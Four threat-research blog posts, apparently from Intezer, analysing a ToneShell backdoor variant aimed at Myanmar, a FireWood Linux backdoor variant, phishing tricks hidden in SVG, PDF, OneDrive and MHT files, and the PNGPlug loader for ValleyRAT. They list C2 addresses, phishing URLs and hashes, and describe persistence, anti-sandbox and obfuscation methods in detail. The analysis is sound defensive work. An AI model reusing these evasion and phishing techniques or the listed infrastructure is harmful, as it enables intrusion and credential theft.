76e4d344b3ec52d3f1a81de235022ad2b983eb868b001b93e56deee54ae593c5	Вх.письмо_Мипромторг.rar
6a00b1ed5afcd63758b9be4bd1c870dbfe880a1a3d4e852bb05c92418d33e6da	invite.pdf
2abb9e7c155beaa3dcfa38682633dcbea42f07740385cac463e4ca5c6598b438	(pdf document)

Frankenstein Variant of the Toneshell Backdoor Targeting Myanmar

Wed, 10 Sep 2025 00:00:00 +0000

ToneShell is a lightweight backdoor tied to the China-nexus group Mustang Panda. Typically delivered via DLL sideloading inside compressed archives with legitimate signed executables and often spread through cloud-hosted lures. Zscaler’s 2025 analysis described updates to its FakeTLS C2 (shifting from TLS 1.2- to 1.3-style headers), use of GUID-based host IDs, a rolling-XOR scheme, and a minimal command set for file staging and interactive shell access. Notably, some of this activity was observed in Myanmar, a region of strategic importance to China. Targeting Myanmar is particularly interesting as it reflects China’s broader geopolitical interests, spanning border security, infrastructure projects, and political developments, and highlights how cyber operations are leveraged to maintain influence in neighboring states.

This blog is a technical analysis of another variant of the backdoor. While this variant does not introduce major new features, it is worth highlighting the anti-analysis techniques it employs and the new indicators that can support threat hunting and detection. In addition, the continued targeting of Myanmar underscores China’s sustained use of cyber operations to maintain its interests abroad.

Technical Analysis

As previously documented, ToneShell is a dll that is sideloded by a legitimate executable, usually bundled in the archive file. In this case it is a ZIP file, named: TNLA နှင့် အခြားတော်လှန်ရေးအင်အားစုမျာ. Which translate to: TNLA and other revolutionary forces.

sha256: 1272a0853651069ed4dc505007e8525f99e1454f9e033bcc2e58d60fdafa4f0

The backdoor is a DLL named: SkinH.dll, compiled on 2025-07-14 22:38:08.

sha256: e7b29611c789a6225aebbc9fee3710a57b51537693cb2ec16e2177c22392b546

Code reuse with ToneShell

The backdoor first checks the current module path for the string Google\\DriveFS\\Scratch. If not found, it enumerates processes to identify the parent process, retrieves its image path, and verifies whether it contains GoogleDrive. If found, the backdoor will terminate its execution. This check might be an attempt by the threat actor to prevent infecting themselves. If this validation fails, the code enforces a single-instance policy using a named mutex, Global\\SingleCorporation12AD8B. It attempts to create the mutex, storing the handle globally and setting a flag to indicate success or failure. If creation fails or the mutex already exists, it releases any handles and marks it as not created. Next, the backdoor checks its persistence location. It compares its module path with the user profile directory (CSIDL_APPDATA, 0x1A). If the binary is not under the user profile, it copies itself and the following files: msvcr100.dll, msvcp100.dll, mfc100.dll to a new folder it creates. The new directory name consists of a 6-character random uppercase folder name (e.g., C:\\Users\<user>\\AppData\<random-6-chars>).

The function that copies the DLLs to a new folder in AppData

Once installed, it attempts to spin up the Task Scheduler COM service, connect to the local scheduler, open the root folder ("\") and obtain an IRegisteredTask for a task named dokanctl. If the task doesn’t exist, it will create it using RegisterTaskDefinition. The task is set to execute every minute, it sets the execution path to the folder in AppData created earlier: %APPDATA%\<random-6-chars>\\svchosts.exe, and sets it as the action Path. The task is registered in the root folder with the name dokanctl.

Task creation

If the backdoor is already under the user profile, it performs junk arithmetic before entering its C2 loop, followed by a bounded timing/zero-check loop that appears to serve as anti-analysis noise without affecting the main flow.

API Function Hashing

The malware uses a custom API-resolving scheme based on a simple rolling hash, applying it to module and function names instead of storing them in cleartext. This technique, previously analyzed in previous blogs, is a common evasion method seen in different malware types. With the HashDB project, resolving these hashes back to the original imported functions is straightforward, making analysis and detection easier.

Hash calculation

Resolved Windows API functions

Anti-Analysis and Anti-Sandboxing

This ToolShell variant employs several stalling and anti-sandboxing tricks designed to waste time, confuse automated analysis, and evade lightweight sandboxes. These include:

Repeated file churn: creating, writing, closing, and deleting a temporary file in a loop with Sleep(100) delays, which burns execution time and stresses filesystem emulation.
Randomized sleep loops: several loops sleep for pseudo-random intervals ranging from ~800 ms to over a second per iteration, accumulating 20+ seconds of startup delay before meaningful behavior begins.
Tick count checks: uses GetTickCount64() combined with jittered sleeps, waiting until at least 10 seconds of wall-clock time has elapsed. This ensures that emulators that don’t advance the system clock realistically can get stuck.
Opaque string comparisons: slides across a large embedded wide-string buffer, repeatedly calling lstrcmpW() between overlapping substrings until a break condition. The comparison results are discarded; the loop simply consumes cycles and obfuscates control flow.
Nonsense randomization: calculates values like 0xBABE or 0xCAFE via contrived branches using rand(). These values are not security checks, but serve as junk arithmetic to make the code harder to follow.
Decoy API use: occasionally calls APIs such as OutputDebugStringA and sets LastError to unusual constants (0xBADF00D), further muddying behavior without altering core logic.

File creation loops

Notably, the large embedded string buffers used in the comparison loop contain text copied from OpenAI’s blog on image generation and from Pega AI’s website. Pega AI refers to the artificial intelligence features integrated into the Pega platform, a software suite for workflow automation and customer relationship management. The backdoor does not use this content functionally; instead, it serves as filler to inflate the binary and supply meaningless strings for comparison.

Text taken from PegaAI’s website

Text taken from OpenAI’s website

Together, these techniques do not detect debuggers directly; instead, they stall execution, pollute control flow with junk work, and frustrate automated sandboxing systems that expect short-lived, straightforward malware runs.

GUID Creation

Similar to earlier versions, this variant of ToneShell generates a unique identifier for each infected machine. It first attempts to check if one was already created by reading 16 bytes from C:\ProgramData\SystemRuntimeLag.inc. The malware creates a new seed if the file is missing, unreadable, or does not provide exactly 16 bytes. The primary method is to generate a GUID via CoCreateGuid and use it as the seed. If that fails, it falls back to producing 16 bytes using an internal linear congruential generator (LCG) seeded from the current PRNG state. Once a new seed is generated, it is written back to the designated file path to ensure persistence across executions.

This logic is similar to Zscelar’s blog about the second backdoor variant.

Networking

The malware sets up a socket with a C2 at the address:

146.70.29[.]229:443

The malware’s network protocol wraps its messages in a TLS-like record header to blend in with legitimate traffic. Each packet begins with the fixed bytes 17 03 03 (TLS 1.2 Application Data) followed by a two-byte length field, but only the low byte is honored, effectively capping payloads at 255 bytes. The 5-byte header is read into a temporary stack buffer and discarded; only the payload bytes are stored in the context structure’s receive buffer starting at offset 0.

Once the payload is received, the malware XOR-decodes it in place with a 256-byte rolling key. The first decoded byte is treated as a “type/status” field, the second as an additional code, and the remainder (len-2 bytes) as the message body. The decoded buffer pointer is then saved in the structure for later use. This design produces a simple packet format: [TLS-like header][XOR-obfuscated type | code | body…], with the header stripped before the data is available to the rest of the malware.

Interestingly, while the GUID generation logic in this sample aligns with the first version of ToneShell described by Zscaler, the communication protocol remains identical to the second version. Combined with the anti-analysis techniques and the use of text copied from AI platforms, this sample stands out as a hybrid variant.

Pivoting on The C2 Address

Pivoting on the C2 address, we were also able to find another variant:

sha256: a58868b3d50b775de99278eeb14da8b7409b165aa45313c6d9fa35ac30d2cda2

This variant was compiled on 2025-03-23 22:42:42, named node.dll. It was part of an archive named: update.zip with the sha256:

543024edc9f160cc1cedcffc3de52bfa656daa0ec9ed351331d97faaa67d0d99

This variant reuses the same C2 commands and anti-analysis techniques described above, and it stores the GUID under the same file name.

Conclusion

In summary, this analysis of a new ToneShell backdoor variant highlights the evolving tactics of the Mustang Panda group, particularly their sustained targeting of Myanmar. While not introducing revolutionary features, this variant employs anti-analysis techniques, including elaborate stalling mechanisms and obfuscated code. The blend of old and new elements, such as the consistent communication protocol alongside updated GUID generation and the use of seemingly random, copied text for filler, underscores the adaptive nature of this threat. The continuous refinement of these evasion methods, coupled with the geopolitical significance of the targeted region, reinforces the need for ongoing research and threat hunting to counter cyber operations.

IOCs

ToneShell variants:

a58868b3d50b775de99278eeb14da8b7409b165aa45313c6d9fa35ac30d2cda2

e7b29611c789a6225aebbc9fee3710a57b51537693cb2ec16e2177c22392b546

Archive files:

543024edc9f160cc1cedcffc3de52bfa656daa0ec9ed351331d97faaa67d0d99

1272a0853651069ed4dc505007e8525f99e1454f9e033bcc2e58d60fdafa4f0

C2:

146.70.29[.]229:443

Fire in the Woods – A New Variant of FireWood

Wed, 13 Aug 2025 00:00:00 +0000

A new and low-detected variant of the FireWood backdoor was discovered by Intezer’s Research Team, with some changes in the implementation and the configuration of the backdoor.

FireWood is a Linux backdoor discovered by ESET’s research team. They linked it to the long‑running “Project Wood” malware lineage, which dates back to at least 2005 and includes usage in the earlier Operation TooHash campaign. It functions as a remote access trojan (RAT) on Linux systems, employing kernel‑level rootkit modules (e.g., usbdev.ko) and TEA‑based encryption to hide its presence, maintain persistence, and communicate covertly with its command‑and‑control infrastructure. Once deployed, likely via web shells left on compromised Linux desktops, it enables attackers to execute commands, exfiltrate sensitive data such as system information and credentials, and operate stealthily over prolonged espionage operations. The backdoor has low confidence connections to the China-aligned Gelsemium APT group, as the overlaps may be coincidental or reflect shared tools across multiple groups.

We found a new and low-detected variant of the FireWood backdoor. The core functionality of the backdoor remains the same but we did notice some changes in the implementation and the configuration of the backdoor. It is unclear if the kernel module was also updated as we were not able to collect it.

Code analysis of the new version in Intezer.

SHA256: 898a5bd86c5d99eb70088a90f1d8f90b03bd38c15a232200538d0601c888acb6

Technical Analysis of New Firewood Variant

In the older variant, execution began with an explicit permission gate, calling CUser::IsSuc(), and the process would exit if this check failed. In the newer build, that early check is removed entirely. The new version defers any root‑or‑kernel gating until after it daemonizes and saves its PID. To achieve this, the code splits the former SavePidAndCheckKernel() helper into two discrete steps: an early SavePid(pid), followed later by CModuleControl::AutoLoad() and CheckLkmLoad(). This separation clarifies the startup sequence and enhances the hide‑via‑kernel‑module logic. Additionally, rather than simply sending a stripped‑down identifier, the updated version builds a larger buffer containing the process name, hex‑formatted port, PID, a hardcoded “kde‑tra” process name, and a configurable flag (or the literal “nothing”). That extra metadata is passed through CHideProcess::NetLinkInit(), CHideProcess::SendProcessName(&CHideProcess::mInstance), and CHideProcess::Destroy().

Note the typo in the method name “Destroy”, this error also appears in the older Firewood variant. Another typo persists in both versions in the following error message: “Get Memory Faile”.

New evasion implementation and comparison of main functions

On the networking side, the older version read configuration settings that defined both the number of days between beaconing and a delayTime specifying the interval between packets. It also used a randomized time‑window algorithm to stagger connections. The new build collapses all of this into a straightforward while (true) loop. After waiting for the configured startup delay, it continuously calls ConnectToSvr(), sleeping briefly on failure, until success or until the overall timer expires, then cleans up and exits. By removing the multi‑stage scheduling and random timing logic, the connection routine becomes more predictable and maintainable, trading temporal obfuscation for reliable C2 reachability.

Overall, the communication protocol and C2 setup remain the same; the only significant change is that the new version no longer relies on timeouts from the configuration.

Both Firewood versions collect information about the user and the infected machine. The new variant adds a fallback for OS detection: whereas the older version reads distribution data from /etc/issue, the new version falls back to /etc/issue.net if /etc/issue is unavailable, parsing the data in the same way.

The backdoor defines file paths used by both itself and its kernel module. The new variant sets paths for root users as:

/usr/lib/.kde-root/
/usr/lib/.kde-root/lib/
/usr/lib/.kde-root/data/
/usr/lib/.kde-root/kdeinit
/usr/lib/.kde-root/pid
/etc/init.d/rc.local

For non-root users, it uses:

$HOME/.kde-root/
$HOME/.kde-root/lib/
$HOME/.kde-root/data/
$HOME/.kde-root/kdeinit
$HOME/.kde-root/pid
$HOME/.bashrc

By contrast, the older variant for root users used:

/etc/init.d/rc.local
/etc/rc.d/rc.local
/etc/init.d/boot.local

And for non-root users:

$HOME/.bashrc

The FireWood backdoor supports a number of commands documented by ESET. The new variant removes some commands and adds others. It drops commands for changing beacon intervals and delay times (command IDs 0x111, 0x113, 0x114), as these settings are no longer used. It also removes the file-read command (ID 0x201). The process‑hiding command has moved to ID 0x202 (from 0x112), and the HideModule function was removed. A new command (SetAutoKillEl, ID 0x160) toggles or sets an “auto‑kill” feature in the agent.

Besides these commands, there are also three commands that appear in both versions and were not previously documented:

Command id 0x109: A command that indicates a change in the connection configuration.
Command id 0x192: Gets a file from the C2 and execute it using the system function. Unlike the previously documented command id 0x185, this command calls first CFileControl::FileUp to receive the file from the C2.
Command id 0x195: Exfiltration of files with the following extensions: .v2, .k2, .W2, and drive.C2.

We also located an older sample submitted to VirusTotal from Iran on February 5, 2025:

4c293309a7541edb89e3ec99c4074584328a21309e75a46d0ddb4373652ee0d6

Additionally, we found a sample from the Philippines submitted on May 7, 2022; its code is identical to the one we analyzed:

d7be3494b3e1722eb28f317f3b85ee68bf7ea5508aa2d5782392619e078b78af

IOCs

New Firewood Version

898a5bd86c5d99eb70088a90f1d8f90b03bd38c15a232200538d0601c888acb6
d7be3494b3e1722eb28f317f3b85ee68bf7ea5508aa2d5782392619e078b78af

Old Firewood Version

cff20753e36a4c942dc4dab5a91fd621a42330e17a89185a5b7262280bcd9263
4c293309a7541edb89e3ec99c4074584328a21309e75a46d0ddb4373652ee0d6

Emerging Phishing Techniques New Threats and Attack Vectors

Wed, 23 Apr 2025 00:00:00 +0000

Phishing remains one of the most prevalent and successful attack vectors used by cybercriminals today. It exploits human psychology, leveraging deception to trick users into revealing sensitive information or executing malicious actions. Attackers continuously evolve tactics to bypass modern email and endpoint security solutions, making detecting and mitigating phishing attempts increasingly difficult. And despite advancements in cybersecurity tools, many phishing campaigns still successfully reach users’ inboxes.

At Intezer, we triage millions of alerts for enterprises around the globe and have implemented a rigorous quality assurance process to ensure that our verdicts are the most accurate and up-to-date. From this extensive dataset, the Intezer research team is able to pinpoint emerging trends in the phishing and malware ecosystems. That said, our team has observed four phishing threats and techniques gaining traction, all of which successfully bypassed email protections and reached the intended victims. These methods demonstrate the increasing sophistication of threat actors and highlight the need for improved detection mechanisms.

Here are some impactful phishing threats and techniques that Intezer has observed in 2025 so far.

1. Script in the Shadows: Base64 JavaScript Lurking in SVG Files

Attackers continue to abuse SVG files by embedding Base64-encoded JavaScript inside them. Once decoded, this JavaScript reveals an obfuscated script that redirects users to a phishing site. The attackers delivered the SVG file as an email attachment, successfully evading detection mechanisms.

How SVG Files Work

Scalable Vector Graphics (SVG) is an XML-based format for rendering two-dimensional graphics. Unlike other image formats, SVG files can contain scripts, hyperlinks, and interactive elements, making them a potential attack vector. Attackers abuse this flexibility by embedding JavaScript inside <foreignObject> or <iframe> tags, often using Base64 encoding to conceal malicious scripts.

What is Encoding?

Encoding is the process of transforming data into a different format, typically for safe transmission or storage. In phishing campaigns, threat actors use encoding (such as Base64 or hexadecimal) to disguise the true intent of malicious scripts.

By encoding the payload, the script avoids detection by security scanners that rely on static signatures or pattern matching. To analyze these files properly, we must first decode the data to reveal its original structure.

Analysis

IOC: b5a7406d5b4ef47a62b8dd1e4bec7f1812162433955e3a5b750cc471cbfad93e (VirusTotal link)

Upon inspecting the SVG file, we found an embedded <iframe> tag containing Base64-encoded data.

Decoding the Base64 data exposed an obfuscated JavaScript payload.

This script, when deobfuscated, revealed a malicious URL that redirected users to a phishing page designed to harvest credentials.

The script we extracted followed a multi-step obfuscation pattern:

Reversal of the string: The encoded string is reversed to make static detection harder.
Junk character removal: Specific characters (like x, q, z, etc.) are inserted randomly to confuse regular expression-based scanners. These are removed programmatically before decoding.
Hexadecimal to ASCII conversion: The payload is split by delimiters (e.g., -), and each segment is converted from hex, then transformed to ASCII through a mathematical formula.
Final URL reconstruction: Once decoded, the script builds a phishing URL and assigns it to window.location.href, redirecting the victim to a credential-harvesting page.

This multi-layered obfuscation allowed the payload to bypass most static analysis engines.

For this analysis, the Intezer research team developed a custom tool to analyze this technique in SVG files.

Findings

When using the tool, we found that:

The attacker leveraged an SVG file to embed a hidden payload.
The JavaScript within the Base64-encoded data was obfuscated to avoid static detection.
VirusTotal initially marked the SVG file as trusted with zero detections.

This technique highlights the effectiveness of unconventional file formats in phishing attacks. SVG files are commonly used for legitimate purposes, making them an ideal candidate for evading security filters. Additionally, many security solutions do not deeply inspect SVG files for embedded JavaScript, allowing these attacks to slip through undetected.

2. Annotated with Bad Intent: Malicious URLs in PDFs

Attackers are leveraging PDF files as a covert phishing delivery mechanism by embedding malicious URLs inside PDF annotations. Unlike traditional phishing attacks, where links are visible within the document, these links are hidden in metadata, allowing them to bypass email security tools and remain undetected by most scanning solutions. The phishing emails delivering these PDFs successfully passed through multiple email security filters, reaching users’ inboxes without any warnings.

How the PDF Format Works

The PDF format is built on a [structured and modular architecture],(https://intezer.com/blog/incident-response/analyze-malicious-pdf-files/) making it flexible for both rendering content and embedding interactive features. Each PDF file consists of a collection of objects, including text, images, fonts, scripts, annotations, and more organized in a hierarchical structure.

These objects are referenced through an internal table known as the cross-reference table, which helps PDF readers locate and render content efficiently. Not everything in a PDF is visible on the page; much of the content, such as form fields, metadata, or actions triggered by user interaction, resides in non-rendered object streams.

Because of this complexity, attackers can hide malicious content inside less-inspected parts of the file, especially in elements that are not rendered visually or immediately accessible by the document viewer.

What Are PDF Annotations?

Attackers commonly abuse PDF annotations. These are structured elements typically used to define interactive elements such as:

Hyperlinks
Comments and notes
Embedded multimedia
Buttons or form actions

Annotations are stored within specific objects, often referenced via the /Annots array. Each annotation object can include an /A (action) dictionary with a /URI value pointing to an external website. Here’s a simplified example:

<<
 /Type /Annot
 /Subtype /Link
 /A <<
 /S /URI
 /URI (http://malicious-site.com)
 >>
>>

Because this data is stored in the metadata layer and not the visible text content, scanners and email security solutions that rely on surface-level or optical text parsing frequently miss it.

For a deeper technical dive into how to inspect these structures and extract hidden links, see our blog: How to Analyze Malicious PDF Files.

Many security scanners and link extraction tools rely on traditional parsing methods that target visible content or standard URL placements. Embedding a URL inside a metadata field, such as an annotation, disrupts this process. This evasion technique isn’t about hiding from the human eye; it’s about bypassing automated tools not designed to extract URLs from non-standard locations in a PDF.

Analysis

IOC: 252422de154885806f491d602af3bb2eda10563308c65fa5ba8272a9b59f7f41 (VirusTotal)

Upon analyzing the malicious PDF file, we discovered that:

The phishing URL was stored inside an annotation object within the /Annots array.
The URL was not present in the readable text layer of the PDF, making it invisible to users unless they inspected the metadata.
The file successfully bypassed multiple email security gateways, allowing it to be delivered directly to users.
VirusTotal’s initial scan returned zero detections for 15 days, meaning no security vendor flagged it as malicious, and the malicious PDF bypassed security vendors and went straight to the victim’s mailbox.

To extract the hidden URL, we performed the following steps using a custom PDF URL analyzer built by the Intezer research team:

Parsed the PDF structure: We examined the internal objects and metadata to identify the /Annots array.
Extracted annotation contents: We located any /URI fields inside annotation objects that contained hyperlinks.
Decoded the phishing URL: The extracted URL was checked against known malicious indicators and phishing databases using a custom tool we built and Intezer’s platform.

Findings

In the analysis we conducted, we found that:

The attacker embedded a phishing URL inside a hidden annotation field, making it invisible to common link extraction mechanisms.
The file was uploaded to VirusTotal, and at the time of analysis, none of the security vendors flagged it as malicious, allowing the malicious PDF to reach user inboxes undetected.

This technique shows how attackers exploit the flexibility of PDF structure to hide phishing payloads in unexpected places. By embedding URLs in metadata fields like annotations, adversaries can bypass traditional detection mechanisms that aren’t built to interpret the full object graph of a PDF.

Because the link is neither visible nor clickable in the traditional sense, it evades superficial scanning yet remains functional when opened to certain viewers. This highlights the importance of deeper inspection of file structures and improved context-aware parsing in email and document security tools.

3. When Sharing Turns Sinister: Malicious URLs in OneDrive Links

OneDrive is a widely used file-sharing service that allows users to store and share documents online. Threat actors leverage OneDrive’s trusted reputation to host phishing content, making detection more challenging. Instead of directly sending a phishing URL, attackers share a read-only OneDrive link that appears benign but contains an embedded malicious URL that executes dynamically within JavaScript when loaded.

Why This Attack is Difficult to Detect

This attack is challenging to detect due to how OneDrive renders shared documents:

Read-only restriction: When accessing a shared OneDrive file, the document is in read-only mode, preventing users from easily extracting or modifying its contents.
Dynamic execution: The malicious URL is not statically present in the document’s body or metadata but is instead dynamically loaded through JavaScript at runtime.
Failure of static analysis: Many security scanners and email security tools rely on static link extraction methods. Traditional scanners fail to identify the threat since the phishing URL does not exist in the initial DOM structure.
Bypassing email security filters: The email containing the OneDrive link passed through multiple email security solutions undetected, making it directly accessible to users.

Analysis

IOCs:

https://1drv[.]ms/o/c/1ba8fd2bd98c98a8/EqF44YiGOwBIpBplYeDLr_8BcMUtVTMm6dwmUK9E0dXA_A?e=ZrI61x (VirusTotal)
https://login.rocklongdays[.]shop/NXayublq (VirusTotal)

To investigate this technique, we attempted various standard approaches:

Direct static extraction: Parsing the OneDrive document’s HTML and inspecting its DOM elements yielded no phishing URLs.
Network traffic inspection: Capturing the network requests while loading the document showed delayed URL loading, indicating dynamic content injection.
Manual analysis in browser dev tools: The URL was only visible within developer tools after JavaScript execution.

Findings

After conducting the analysis, we concluded that:

The phishing URL was dynamically inserted via JavaScript and was not present in the initial document structure.
Static analysis methods, including traditional email security scanners, failed to detect the malicious URL.
VirusTotal initially marked the OneDrive-hosted document as clean, further proving that standard detection techniques are insufficient.
The technique required a multi-step forensic approach. Saving the OneDrive document as a PDF exposed the hidden phishing URL within the metadata.

This attack highlights how attackers abuse trusted cloud-based platforms to evade security controls. Since many organizations allow OneDrive links in corporate environments, phishing actors exploit this trust to deliver credential-harvesting campaigns. The fact that email security tools failed to detect this attack further emphasizes the need for advanced inspection mechanisms.

By leveraging read-only document sharing and dynamic execution, threat actors increase their chances of success while reducing the likelihood of detection through traditional security measures.

4. Buried Deep: MHT Files Nesting in OpenXML Documents

Phishers increasingly use MHT (MIME HTML) files embedded within OpenXML documents (e.g., .docx) to deliver phishing payloads. MHT files are used to archive web content and can store complete HTML documents, including images, links, and scripts. This makes them ideal for hiding phishing lures inside seemingly harmless Office files.

The phishing emails delivering these .docx files successfully bypassed multiple email security filters and landed in user inboxes undetected.

How OpenXML Documents Work

Modern Microsoft Office documents are based on the OpenXML standard, which structures the document’s content in a ZIP-based format containing multiple files and directories (e.g., word/document.xml, media/, embeddings/). Threat actors abuse this format by embedding MHT files inside the document, making it possible to deliver archived web lures that won’t be rendered or scanned unless explicitly unpacked and inspected.

Analysis

IOCs:

07565bc74159ddbebb8dadbd6f20871f4236883653dc7fdd1d30ecd0460167e5 (VirusTotal)
https://elitesglassandmetal[.]com/NXttfWmEqWJrJQ (VirusTotal)

A malicious .docx sample contained an embedded MHT file delivering a sophisticated QR-based phishing attack (also known as quishing). The attack used multiple layers of deception:

Malicious QR Code: The MHT file embedded two images: image0.png and image1.png. The second image contained a QR code which, when decoded, resolved to:
https://elitesglassandmetal[.]com/NXttfWmEqWJrJQ
The domain appears legitimate but is likely compromised and hosting a phishing page.
Brand Impersonation: The phishing content impersonated both Microsoft Office365 and ROLEX, including brand imagery and a 2025 copyright notice.
Social Engineering & Urgency: Language in the MHT warned that the recipient’s account would be “suspended from sending and receiving messages” within 24 hours, pressuring users into action. Words and phrases such as “2FA,” “message encryption,” and “authentication” were used to imply a legitimate security notification.
Quishing Evasion Technique: By embedding the phishing URL within a QR code image rather than plain text or hyperlinks, the attacker successfully bypassed traditional email scanners and static link analysis tools.

We’ve conducted this analysis using a custom tool we developed. It extracts all the MHT files inside and decodes the QR code. The image below shows the output:

Findings

After using the tool we developed to conduct our analysis, we found that:

The phishing URL was embedded as a QR code within an image inside an MHT file, buried deep within the .docx structure.
Static scanners and email security solutions did not extract or analyze the MHT file, allowing the payload to slip through.
The phishing campaign used common social engineering tactics, including urgency, impersonation, and trusted branding.
VirusTotal showed zero detections for this sample at the time of analysis, indicating a widespread blind spot across vendors.

This case highlights the growing abuse of document structure to conceal phishing payloads. The combination of MHT embedding, QR code redirection, and brand impersonation makes this technique difficult to detect using traditional rule-based systems.

Organizations should consider implementing:

Deep inspection of OpenXML document internals
QR code analysis pipelines for document attachments
Behavioral analysis to catch malicious redirection patterns that static tools overlook

As threat actors continue to innovate around delivery methods, defenders must match that sophistication with context-aware analysis and layered defenses.

Conclusion

The techniques uncovered in this research underscore a clear evolution in phishing tactics that leverage non-traditional file formats, cloud-hosted trust abuse, and structural evasion to bypass modern defenses. These are not random, opportunistic tricks; they are calculated methods designed to defeat static analysis, signature-based detection, and even behavioral filtering at the email gateway and endpoint level.

We’ve observed phishing payloads hidden in places most tools don’t look:

Encoded JavaScript in SVG images, bypassing visual and content-based scanning.
Hyperlinks embedded in PDF annotation objects, never visible in the main text layer.
Dynamic phishing URLs are rendered at runtime inside OneDrive-hosted files, invisible to static crawlers.
Archived MHT payloads are hidden deep inside OpenXML structures, escaping inspection in document-level scanning.

A shift toward structural and contextual obfuscation ties all of these techniques together, where the malicious content only becomes apparent when rendered, executed, or deeply unpacked. And in every case we documented, the payloads successfully bypassed email security solutions, reaching end users in real-world attacks. In multiple samples, no vendors on VirusTotal flagged the files as malicious at the time of analysis.

As phishing continues to evolve, defenders must adapt. Traditional rules-based detection and regex-driven link scanning are no longer enough. Analysts and security researchers need to:

Perform deep, format-aware inspection of complex file types like SVG, PDF, DOCX, and MHT.
Combine static and dynamic analysis, especially for cloud-based or runtime-resolved payloads.
Stay informed of obfuscation patterns and structural abuses that go beyond signature detection.

At Intezer, our visibility into millions of alerts enables us to identify and track these shifts in real time. We encourage the community to remain proactive. These are not theoretical techniques; they are actively used in the wild, and we expect their adoption to increase.

Phishing isn’t going away, but with the right tools, analysis depth, and research collaboration, we can stay ahead of threats designed to go unnoticed.

Weaponized Software Targets Chinese

Thu, 16 Jan 2025 00:00:00 +0000

Overview of the Attack

Intezer Labs research team has identified a series of attacks targeting organizations in Chinese-speaking regions like Hong Kong, Taiwan, and China itself. These attacks utilize a multi-stage loader, which we named PNGPlug, to deliver the ValleyRAT payload.

A similar attack chain is documented in this report, which sheds light on the infection vector and the method of delivering the malicious files.

According to the report, the attack begins with a phishing webpage designed to encourage victims to download a malicious MSI (Microsoft Installer) package disguised as legitimate software.

Upon execution, the installer performs two critical tasks:

Deploying a benign application to maintain the illusion of legitimacy.
Extracting an encrypted archive containing the malware payload.

The MSI package uses the Windows Installer’s CustomAction feature, enabling it to execute malicious code, including running an embedded malicious DLL that decrypts the archive (all.zip) using a hardcoded password hello202411 to extract the core malware components:

libcef.dll: The loader, designed with padding to inflate its size to 220MB, helps it evade detection as many security tools skip analyzing large files. (For more information about how this technique is used in loaders, check out our recent blog post.)
down.exe: A legitimate application used to mask malicious activities.
aut.png and view.png: Files masquerading as PNG images containing encoded malicious payloads.

Role of the PNGPlug Loader

The primary function of the loader (libcef.dll) is to set up the environment for malware execution via the following steps:

Patching ntdll.dll: Enables memory injection.
Command-line Argument Parsing:
- If the /aut argument is present, the loader decrypts the registry path Software\\DICKEXEPATH using XOR encryption and writes the down.exe path to the registry (HKEY_CURRENT_USER\Software\DICKEXEPATH). The loader then uses the pe_to_shellcode injection method to inject the contents of aut.png into memory. (For more information about this injected payload, refer to this report.)
- If /aut is absent, the loader runs down.exe with the argument and continues its checks.
Anti-Virus Detection: The loader searches for the presence of 360 Total Security by checking the path C:\Program Files (x86)\360\360Safeuninst.exe. If absent, the loader maps view.png into memory and creates a new process (colorcpl.exe), injecting the contents of view.png. During investigations, the process was executing ValleyRAT malware.

The use of .png file extensions for malicious payloads is a key stealth tactic and inspired the name PNGPlug. As shown in the screenshots below, these PNG files contain additional data, specifically PE executables, embedded at specific offsets. This data is loaded and injected into the process as described earlier, further enhancing the malware’s ability to evade detection while executing its payload.

Binwalk output for one of the PNG files used by the loader, demonstrating that it has a Windows executable (PE) at offset 0x2AB9E.

A function in the loader that handles the mapping of the PNG file into the memory. Specifically, it looks for the data that begins at offset 0x2AB9E in the PNG file.

ValleyRAT Details

ValleyRAT is a sophisticated, multi-stage malware attributed to the Silver Fox APT. It employs advanced techniques such as:

Shellcode Execution: Running components directly in memory to reduce its file footprint and evade detection.
Obfuscation and Privilege Escalation: Hiding malicious activities and gaining elevated access.
Persistence Mechanisms: Leveraging scheduled tasks and registry modifications to maintain control over infected systems.

The malware’s stages include initial execution, deployment of obfuscated shellcode, and a loader module that fetches additional malicious components from its command-and-control (C2) server.

Attribution

Evidence links this campaign to the Silver Fox APT, a group known for espionage and cybercrime campaigns targeting Chinese-speaking individuals and organizations. Their tactics include:

Phishing Techniques: Using trojanized files and SEO-optimized phishing sites.
Espionage Tools: Deploying malware like ValleyRAT and Gh0st RAT to monitor user activities, deliver plugins, and potentially install additional payloads.

Based on victimology, infection vectors, and observed payloads, we attribute this campaign to Silver Fox with high confidence. Their operations underscore the need for robust cybersecurity measures to counter evolving threats from sophisticated actors.

What’s Interesting?

This campaign stands out due to its unique focus on Chinese-speaking victims and organizations across China, Hong Kong, and Taiwan. It demonstrates an attack that broadly targets one specific demographic—the Chinese-speaking. Interestingly, despite their well-documented disputes and distinct political landscapes, the attackers are treating these regions as a unified target. This differs from the conventional perspective within the security community, which often considers them separately when analyzing threats.

Another notable aspect of these attacks is the potential operational gaps within these organizations, particularly the lack of investment in employee tools among some larger companies. This oversight frequently forces employees to rely on free software, inadvertently increasing their vulnerability to malicious campaigns.

Equally striking is the attackers’ sophisticated use of legitimate software as a delivery mechanism for malware, seamlessly blending malicious activities with seemingly benign applications. The adaptability of the PNGPlug loader further elevates the threat, as its modular design allows it to be tailored for multiple campaigns. This flexibility underscores the evolving nature of the threat landscape, emphasizing the urgent need for advanced detection and prevention mechanisms to counter these stealthy and persistent attacks.

IOCs

156.247.33[.]53

08dad42da5aba6ef48fca27c783f78f06ab9ea7a933420e4b6b21e12e550dd7d
33bc111238a0c6f10f6fe3288b5d4efe246c20efd8d85b4fe88f7d602d70738e
50a64e97c6a5417023f3561f33291b448ce830a4d99c40356af67301c8fa7523
6d4dd4334791c91bb09e7a91dd5c450b2c6e3348a5586de011c54ce3f473f619
76fc76dc651c3cc9d766a6ad8a90f605326463bc4cb2f8f053d44dfbc913beee
ad23f5c9bab137dc24343fc410f7587885aab6772dee5e75a216ed579c6ee420
c497506fe2df57c39fcf92398f4864ca4bfcb1a6f2f80c3c520166bc61882855
e49b085f5484531395b5a7903f004b2a02a2b4ebfa46116d1a665ba881b1f528
c636120749b49f47fc8d42409ead6c51ea44bc40c815370997ca63f48acdf002
79acdca5247ca9719f2f3a34c7942cd60b209f7b616efa5dd81e6656a8baf9a5
70facc8ad5db172e235b4cc720a0edaedd4470b8a6ec5da8dee2758f4a1aafef
e9e4751c88d3a1a4bfdd5d07bb35636787b0d6fbf68b17642d3fe03cbe5ebf70
de8a0da702a491f610b9e85050d8641cadf4ed84edf4d151f94335b0d78d6636
6d2a4d9e2fc6e4dac2c426851b4bdf86dd63a5515d8d853e622a0bc01d250ce9
